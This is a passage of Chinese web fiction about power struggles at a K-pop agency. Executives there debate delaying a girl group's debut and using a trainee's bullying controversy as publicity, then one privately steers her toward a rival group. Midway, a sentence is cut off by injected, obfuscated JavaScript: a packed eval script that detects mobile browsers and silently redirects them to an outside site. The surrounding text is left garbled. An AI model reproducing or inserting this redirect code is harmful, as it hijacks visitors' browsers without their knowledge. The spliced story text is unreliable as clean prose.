2021年4月，HYBE总部，战略会议室。
空气里弥漫着咖啡和打印机墨粉的味道。长条会议桌两侧，气氛微妙。
闵锡珍坐在左侧首位，面前摊开的电脑屏幕上，是N组“NewThings”的最初企划。崔敏英坐在她身侧，手里捏着一份厚厚的舆情数据报告。对面是苏成振，以及三位从BH初创时期就跟随方拾赫的资深制作人，他们面前只有简单的笔记本和水杯，姿态放松。
方拾赫坐在主位，手里捏着一支金属钢笔，目光落在面前的平板上，似乎在浏览着什么邮件，对会议室里弥漫的紧绷视而不见。
“我还是坚持将N组的出道时间推迟到明年年初，甚至年中。”闵锡珍再次开口：“概念，音乐，视觉，都需要更多时间的打磨。《Attention》的demo在内部测试和焦点小组的反响确实不错，但我要的不止。”
苏成振微微皱眉：“闵总监，N组的筹备从2018年就开始了，孩子们已经等了三年。再推迟，意味着又一年空白期。市场窗口不等人。”
“市场窗口？”闵锡珍抬眼看他，冷笑一声，“苏代表，市场最不缺一个按时出道的女团，缺的是一个现象级的文化符号。这需要时间，更需要耐心。”
“耐心是需要成本的。”一位老牌制作人开口，语气温和但立场明确，“集团的资源投入不是无限的。下半年，除了N组，S组的筹备也会进入关键阶段，两个女团项如果时间线撞车，宣传资源，制作团队，甚至媒体关注度都会严重冲突。这不符合集团整体利益。”
谈话终于切入核心。
S组。Source Music第二顺位的女团企划，风格定位更加成熟强势，目前正在紧密接触宫胁效良，金彩源等已有巨大粉丝基数和话题度的成员。这个项目从立项之初就牢牢掌握在方拾赫手中，是HYBE确保女团市场拥有稳定产出和现金流的安全牌。
而N组，这个最初源于Source Music，如今却被闵锡珍全盘接手，正在逐渐脱离集团原有的掌控，朝着一个不好预估的方向狂奔。
闵锡珍想要推迟N组，表面上是打磨作品，实则是为ADOR这个新生厂牌争取更独立的话语权和更宽松的试错空间。
而对集团高层，对于方拾赫来说，女团是快消品，是在有限的活跃期内最大化商业价值，开巡演，接代言，制造话题，快速变现。其他的都只是锦上添花，不是生存必需。
“S组的预计出道时间是明年第四季度，”闵锡珍显然早有准备，示意崔敏英调出另一份时间表，“如果N组能推迟到明年年中，两个项目刚好形成完美接力，持续占据市场头部关注度，不会产生内部消耗。”
“但集团的宣传资源是有限的。”苏成振语气加重，“下半年，所有渠道的重点都在于跟进S组。如果N组推迟，届时还能拿到多少预算，多少核心曝光位，谁都很难保证。”
这话已经说得相当直白。资源只会向更听话，更可控，能更快看见回报的项目集中。你闵锡珍如果执意要走那条需要漫长培育期的小众路线，就要做好被边缘化，被冷处理的准备。
会议室陷入短暂沉默。
“方理事的意见呢？”闵锡珍脸色微沉。她看向方拾赫：“当初可是您告诉我，‘忘掉SM，建立闵锡珍的世界’呢。”
方拾赫终于放下钢笔，抬起头。脸上挂起惯有的笑容。
“锡珍啊，。”他开口，“我同意你的看法。”
苏成振和几位制作人同时一怔。
“好作品，确实需要时间打磨。”方拾赫不紧不慢地说，目光扫过面前屏幕上那些充满青春感和复古元素的视觉碎片，“值得好好做，做到极致。”
闵锡珍眼里审过一丝意外。
“不过，”他话锋一转，笑容不变，“既然要推迟，那我们不妨把眼光放得更长远一点。明年年初？年中？我看，还是有些仓促。”
他顿了顿，“不如，放到2023年吧？”
2023年，比原计划还要再晚一年。
闵锡珍的手指在桌下骤然攥紧。她明白方拾赫的意图。方拾赫想借此消磨N组的锐气，消磨她刚刚建立起来的权威，消磨ADOR项目在集团内部的重要性。
等到2023年，市场风向可能早已转变，成员心态或许已经疲惫，甚至内部的支持力量都可能动摇，转移。
“方理事，”闵锡珍保持着声音的平稳，“N组的孩子们已经准备好了，无限期推迟对她们不公平。”
“公平？”方拾赫笑着摇头，“锡珍啊，行业里最奢侈的就是这两个字。这里只有价值，和时机。你我都很清楚，N组最大的价值就在于它的‘新’。但‘新’需要合适的时机才能变成‘爆’。”
他话里有话，闵锡珍盯着他，“你到底在顾虑什么？”
方拾赫没有直接回答，而是拿起了平板，手指滑动几下，将屏幕转向会议中央。
上面是一份简短的舆情摘要，几个关键词被标红：#尹珠媛霸凌#，#空降资源咖#，#闵锡珍亲女儿#。
“你手底下这个孩子，最近话题度很高啊。”方拾赫语气轻松，“虽然不是什么大问题，但在N组这样一个团队里……”
崔敏英忍不住开口，“方理事，那些所谓的‘黑料’，来源不明，断章取义，视频内容根本经不起推敲！我们完全可以通过法律途径澄清，甚至反击。”
“澄清需要成本，崔部长。”方拾赫打断她：“官司耗时耗力……而且，你有没有想过——”他目光扫过在座的每一个人，“争议本身，也是一种关注度。”
会议室无人发言。
几位老牌制作人低头盯着自己的笔记本，苏成振面无表情地端起水杯。
崔敏英感到一阵寒意从脊骨窜上。她听懂了方拾赫没说出口的话，一个练习生是不是被冤枉对他们而言根本算不上是一件事，他们在乎的是这种争议能否持续带来流量，能否在N组出道时转化为话题点。至于练习生本人的名誉，心理压力，都不在他们的考量范围内。
“可珠媛是N组概念不可或缺的核心。”崔敏英据理力争，声音因激动而有些发颤，“无论是她的故事性还是个人特质，都是团队叙事的关键。我不能接受因为一些莫须有的争议就放弃她。”
“我没说要放弃她。”方拾赫靠回椅背，从容地说：“相反，我觉得锡珍的处理就很有智慧。保持争议热度，同时不断向媒体吹风，释放一些模棱两可的信号。尹珠媛练习生到底会不会出道？会在哪个团队出道？公司会怎么处理？让网民持续猜测，保持关注度。这不就是最高效的预热嘛。”
他看向崔敏英，笑容加深，“风险管控和话题利用，是团队走红的必修课。崔部长，跟在闵总监身边多学习啊。”
这句嘱咐像一记无声的耳光，抽在ADOR众人的脸上。他们利用尹珠媛的争议为N组造势，总部看得一清二楚，并且鼓励她继续这么做，甚至暗示可以更激进。
“好了。”方拾赫站起身，结束了这场会议。“今天的讨论很有意义。N组的出道时间就按闵总监所想，往后再放一放，具体时间我们找时间再议。目前集团的重点是先确保S组的顺利推出，为HYBE的女团打下地基。等市场接受了我们的存在，N组再以惊喜的姿态登场，不是更好吗？”
他拍了拍闵锡珍的肩膀，力道不轻不重。
“锡珍啊，别着急。”
说完，他率先离开会议室，没有给任何人再反驳的机会。
门轻轻关上。
崔敏英看着闵锡珍僵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973065|193039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
硬的侧脸，张了张嘴，最终什么也没说。
-
尹珠媛刚结束在ADOR的加训，肌肉因为过度拉伸而微微颤抖，汗水附在皮肤上，在空调冷风里激起一阵寒颤。
手机在口袋里震动。
她掏出来看，屏幕上是苏成振代表的名字。信息只有一行：
“B4。C区07号车位。现在过来一趟。”
信息简短。
尹珠媛撑着身子坐起来，抬头看了眼时间。
昨天下午，关于N组出道时间的会议召开，具体内容没人知道，但今天整个ADOR都笼罩在一种诡异的低压中。闵锡珍没有露面，创意组的会议全部取消，连平时最照顾她们的崔敏英都绷着脸。
太巧了。
时机巧合得令人头皮发麻。
她握着手机，指节微微用力。练习室惨白的日光灯在她脸上投下阴影。
尹珠媛起身，走向电梯。
C区车位在停车场最深处，黑色Genesis安静地停在角落，车窗贴着深色膜。尹珠媛拉开车门坐进后座时，苏成振正闭目养神，手里捏着一份文件。
“代表。”她躬身。
“坐。”苏成振睁开眼，没有寒暄，直接将手中的平板递给她。
屏幕上是一份加密邮件，发件人显示为“BH Strategy Dept”，标题：《关于练习生争议意见》。内容只有短短几行，但核心信息明确：
“尹珠媛个人争议将继续维持可控热度……作为N组出道前的话题储备……不建议现阶段全面澄清，以免影响舆论发酵节奏……”
邮件日期是今天下午三点。
果然如此。尹珠媛仔细看着那几行字。
“这是BH办公室下午发出的。”苏成振说：“正式的会议纪要要等到明天。但以闵总监的消息渠道，她应该早就收到了。”
尹珠媛没说话，只是将平板轻轻放回中央扶手箱。
“所以，”她开口，声音很轻，“关于我的争议，从始至终都是公司默许，甚至鼓励的炒作。”
苏成振从后视镜里看着她，没有否认。
“闵总监也同意？”她问。
“她不仅是同意。”苏成振转过身，目光直接落在尹珠媛脸上，“你霸占韩趋半个月，这里面……有她一大半的功劳。”他顿了顿，“这意味着什么，你应该很清楚。”
她当然清楚。
“代表给我看这个，”尹珠媛抬起眼，对上苏成振的视线，“是想说什么？”
苏成振盯着她看了几秒，“我想说……珠媛，你现在站在一个十字路口。”
他压低声音，“向左，留在N组，继续等，等一个遥遥无期的出道日。期间你要继续配合ADOR的炒作，维持霸凌争议的热度，承受全网的口水，人肉，谩骂。”
“就算最后真的出道了，”苏成振哼笑一声，“你猜，在一个主打纯净感的少年叙事里，一个背着霸凌标签的成员，能分到多少part？能拿到多少镜头？粉丝会怎么看你？市场会怎么定位你？”
他身体再度前倾，“你会成为那个团队里永远被另眼看待的风险因素。你的存在，会时时刻刻提醒所有人，这个团队不够‘干净’。这种标签会成为你永远甩不掉的污点。”
车厢一片安静，只有空调出风口细微的嗡鸣。
尹珠媛静静听着，脸上看不出是什么表情。
“而向右……”苏成振缓缓靠回座椅，拉开距离，给了她喘息的空间。
他话没有说完，但意思已经足够明显。
尹珠媛抬起眼，车厢昏暗的光线里，她的脸一半埋在阴影中，一半被微光照亮。
“您的意思是，”她缓缓开口，声音在封闭的车厢里异常清晰，“S组？”